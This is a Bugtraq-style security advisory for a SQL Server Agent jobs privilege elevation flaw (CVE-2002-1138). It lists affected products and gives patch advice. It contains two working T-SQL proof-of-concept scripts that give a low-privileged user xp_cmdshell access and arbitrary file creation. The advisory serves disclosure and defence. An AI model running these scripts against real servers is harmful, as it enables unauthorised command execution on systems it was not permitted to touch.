BID:5483

Microsoft SQL Agent Jobs Privilege Elevation Vulnerability

Info

Microsoft SQL Agent Jobs Privilege Elevation Vulnerability

Bugtraq ID:	5483
Class:	Design Error
CVE:	CVE-2002-1138
Remote:	Yes
Local:	No
Published:	Aug 15 2002 12:00AM
Updated:	Jul 11 2009 03:56PM
Credit:	Reported by "David Litchfield" <[email protected]>.
Vulnerable:	Microsoft SQL Server 2000 SP2 Microsoft SQL Server 2000 SP1 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 Microsoft SQL Server 2000 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 Microsoft SQL Server 7.0 SP4 - Microsoft SQL Server 7.0 - Microsoft SQL Server 7.0 Microsoft SQL Server 7.0 SP3 - Microsoft SQL Server 7.0 - Microsoft SQL Server 7.0 Microsoft SQL Server 7.0 SP2 - Microsoft SQL Server 7.0 - Microsoft SQL Server 7.0 Microsoft SQL Server 7.0 SP1 - Microsoft SQL Server 7.0 - Microsoft SQL Server 7.0 Microsoft SQL Server 7.0 - Microsoft BackOffice 4.5 - Microsoft BackOffice 4.5 - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 Microsoft Data Engine 2000 + Akiva WebBoard 6.1 + BindView bv-Admin for Microsoft Exchange + BindView bv-Admin for Windows 7.0 + BindView bv-Admin for Windows Migration + BindView bv-control for Active Directory 7.0.2 + BindView bv-Control for Internet Security 7.0.1 + BindView bv-Control for Microsoft Exchange 7.0 + BindView bv-Control for Microsoft SQL Server 7.0.1 + BindView bv-Control for Microsoft SQL Server 7.0 + BindView bv-Control for Windows 7.0.2 + CARI-RUSCO Secure Perfect 3.0 + CCH Equity Compliance Insider Reporting Module + Collins Medical Plus 2000 + Computer Associates Unicenter + Computer Associates Unicenter RC/Update 6.1 + Computer Associates Unicenter RC/Update 6.0 + CSIRO BioLink Software 1.5 + DATA.TXT Corporation Time Matters 4.0 + DATA.TXT Corporation Time Matters 3.0 + Dell OpenManage IT Assistant 6.0 + Dell OpenManage IT Assistant 5.0 + Express Metrix Express Software Manager 6.0.2 + Express Metrix Express Software Manager 6.0.1 + Express Metrix Express Software Manager 6.0 + Express Metrix Express Software Manager 5.0 + Fluke Networks Optiview Network Inspector 5.0 + HP Openview Internet Services 4.5 + HP Openview Internet Services 4.0 + HP Openview Operations for Windows 7.1 + HP Openview Operations for Windows 7.0 + HP Openview Operations for Windows 6.0 + HP Openview Reporter 3.0 + HP Openview Reporter 2.0.2 + ISI Infortel for Windows 5.4 + ISI Infortel for Windows 5.2 + ISI Infortel for Windows 5.1 + ISI Infortel for Windows 4.0 + Journyx Timesheet 5.0 + Journyx Timesheet 4.6 + Journyx Timesheet 4.5 m3 + Journyx Timesheet 4.5 m2 + Journyx Timesheet 4.5 + Journyx Timesheet 2.0 + Microsoft .NET Framework 1.1 + Microsoft .NET Framework 1.0 SP1 + Microsoft .NET Framework 1.0 + Microsoft .NET Framework SDK 1.0 + Microsoft Application Center 2000 + Microsoft Biztalk Server 2002 Partner Edition 0 + Microsoft FrontPage 2000 Server Extensions SR 1.3 + Microsoft FrontPage 2000 Server Extensions SR 1.2 + Microsoft FrontPage 2000 Server Extensions SR 1.1 + Microsoft FrontPage 2000 Server Extensions SR 1.0 + Microsoft Great Plains 5.5.1 + Microsoft Great Plains 7.0 + Microsoft Great Plains 5.5 + Microsoft Great Plains 5.0 + Microsoft Office 2000 SP2 + Microsoft Office 2000 SP1 + Microsoft Office 2000 + Microsoft Office 2000 Chinese Version + Microsoft Office 2000 Japanese Version + Microsoft Office 2000 Korean Version + Microsoft Office XP SP1 + Microsoft Office XP + Microsoft Office XP Developer Edition + Microsoft Project Central Server + Microsoft SharePoint Portal Server 2001 SP1 + Microsoft SharePoint Portal Server 2001 + Microsoft SharePoint Team Services from Microsoft + Microsoft SQL Server 2000 SP3 + Microsoft SQL Server 2000 SP2 + Microsoft SQL Server 2000 SP1 + Microsoft SQL Server 2000 + Microsoft Visio 2000 Enterprise Edition + Microsoft Visio Enterprise Network Tools + Microsoft Visual FoxPro 7.0 SP1 + Microsoft Visual FoxPro 7.0 + Microsoft Visual FoxPro 6.0 + Microsoft Visual Studio .NET Academic Edition 0 + Microsoft Visual Studio .NET Enterprise Architect Edition + Microsoft Visual Studio .NET Enterprise Developer Edition + Microsoft Visual Studio .NET Professional Edition + Microsoft Visual Studio .NET Trial Edition 0 + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows XP Embedded SP1 + Microsoft Windows XP Embedded + MIP NonProfit Series Pro 4.5 + MIP NonProfit Series Pro 4.4 + MIP NonProfit Series Pro 4.3 + NetSupport NetSupport TCO 4.5.1 + NetSupport NetSupport TCO 4.5 + Network Associates SupportMagic SQL 4.5 + Okena StormWatch + Peachtree Software Timeslips 11.0 + Peachtree Software Timeslips 10.0 + Peachtree Software Timeslips 9.0 + Peachtree Software Timeslips 9.0 + Peachtree Software Timeslips 8.0 + Peachtree Software Timeslips 7.0 + Peachtree Software Timeslips 6.0 + QiNetix CommVault Galaxy 4.0.1 + SalesLogix Corporation SalesLogix 2000.0 + SmartMax Software MailMax 5.0 + TeleStream FlipFactory 3.0 + TeleStream FlipFactory 2.0 + TeleStream FlipFactory 1.2 + Veritas Software Backup Exec for Windows Servers 9.0 + VIGILANTe SecureScan NX 2.5 + Visionary Systems Firehouse Software 5.4 + Visionary Systems Firehouse Software 5.0.2 5 + Visionary Systems Firehouse Software 5.0 + Visionary Systems Firehouse Software 3.0.5 + Wonderware InTouch 7.11 + Xerox CentreWare Web 1.0 Microsoft Data Engine (MSDE) 1.0 + Affymetrix Microarray Suite Software 5.0.1 + Affymetrix Microarray Suite Software 5.0.1 + Affymetrix Microarray Suite Software 5.0.1 + Affymetrix Microarray Suite Software 5.0 + Affymetrix Microarray Suite Software 5.0 + Affymetrix Microarray Suite Software 5.0 + Altiris Deployment Server 5.5 + Altiris Deployment Server 5.5 + Altiris Deployment Server 5.5 + Altiris Deployment Server 5.0.1 + Altiris Deployment Server 5.0.1 + Altiris Deployment Server 5.0.1 + Centennial UK Ltd Centennial Discovery 4.4 + Centennial UK Ltd Centennial Discovery 4.4 + Centennial UK Ltd Centennial Discovery 4.4 + Compaq Insight Manager 7.0 SP1 + Compaq Insight Manager 7.0 SP1 + Compaq Insight Manager 7.0 SP1 + Compaq Insight Manager 7.0 + Compaq Insight Manager 7.0 + Compaq Insight Manager 7.0 + Gerber Technology WebPDM 3.9 + Gerber Technology WebPDM 3.9 + Gerber Technology WebPDM 3.9 + McAfee ePolicy Orchestrator 2.5 SP1 + McAfee ePolicy Orchestrator 2.5 SP1 + McAfee ePolicy Orchestrator 2.5 SP1 + McAfee ePolicy Orchestrator 2.5 + McAfee ePolicy Orchestrator 2.5 + McAfee ePolicy Orchestrator 2.5 + McAfee ePolicy Orchestrator 2.0 + McAfee ePolicy Orchestrator 2.0 + McAfee ePolicy Orchestrator 2.0 + McAfee ePolicy Orchestrator 1.1 + McAfee ePolicy Orchestrator 1.1 + McAfee ePolicy Orchestrator 1.1 + McAfee ePolicy Orchestrator 1.0 + McAfee ePolicy Orchestrator 1.0 + McAfee ePolicy Orchestrator 1.0 - Microsoft Access 2000 - Microsoft Access 2000 - Microsoft Access 2000 - Microsoft Project Central Server - Microsoft Project Central Server - Microsoft Project Central Server + Microsoft SharePoint Team Services from Microsoft + Microsoft SharePoint Team Services from Microsoft + Microsoft SharePoint Team Services from Microsoft - Microsoft Visual Studio 6.0 - Microsoft Visual Studio 6.0 - Microsoft Visual Studio 6.0 + PowerQuest ControlCenter ST 2.0 + PowerQuest ControlCenter ST 2.0 + PowerQuest ControlCenter ST 2.0 + PPM 2000 Incident Reporting and Investigation Management 5.1 + PPM 2000 Incident Reporting and Investigation Management 5.1 + PPM 2000 Incident Reporting and Investigation Management 5.1 + Rim Blackberry Enterprise Server 2.0 .0.65 + Rim Blackberry Enterprise Server 2.0 .0.65 + Rim Blackberry Enterprise Server 2.0 .0.65 + Trend Micro Control Manager 2.5 + Trend Micro Control Manager 2.5 + Trend Micro Control Manager 2.5 + Trend Micro Damage Cleanup Server 1.0 + Trend Micro Damage Cleanup Server 1.0 + Trend Micro Damage Cleanup Server 1.0 + Vital Processing Services LLC POS-partner 2000 5.0.13 + Vital Processing Services LLC POS-partner 2000 5.0.13 + Vital Processing Services LLC POS-partner 2000 5.0.13 + Vital Processing Services LLC POS-partner 2000 4.1.11 + Vital Processing Services LLC POS-partner 2000 4.1.11 + Vital Processing Services LLC POS-partner 2000 4.1.11 + Websense Reporter 6.3.1 + Websense Reporter 6.3.1 + Websense Reporter 6.3.1

Not Vulnerable:

Discussion

Microsoft SQL Agent Jobs Privilege Elevation Vulnerability

Microsoft SQL Server 2000 uses an Agent which is responsible for restarting the SQL Server service, replication, and running scheduled jobs.

Some of the jobs that the Agent executes have weak permissions, which could allow a user with low permissions to perform actions on the database in the context of the SQL Server Service Account when used in conjunction with the Microsoft SQL Server Extended Stored Procedure Privilege Elevation Vulnerability (BID 5481).

Exploit / POC

Microsoft SQL Agent Jobs Privilege Elevation Vulnerability

The following proof of concept code supplied by David Litchfield <[email protected]> will give a user access to xp_cmdshell:

-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- ([email protected])
-- 18th July 2002

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'GetSystemOnSQL'

The following proof of concept code supplied by David Litchfield <[email protected]> will create a file called c:\sqlafc123.txt:

-- ArbitraryFileCreate
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- ([email protected])
-- 19th August 2002

USE msdb

EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'

EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'ArbitraryFileCreate'

Solution / Fix

Microsoft SQL Agent Jobs Privilege Elevation Vulnerability

Solution:
Microsoft has revised Security Bulletin MS02-056. Microsoft recommends that users of SQL 2000 and MSDE 2000 apply the patch from MS02-061 which contains additional security fixes:

Microsoft SQL Server 2000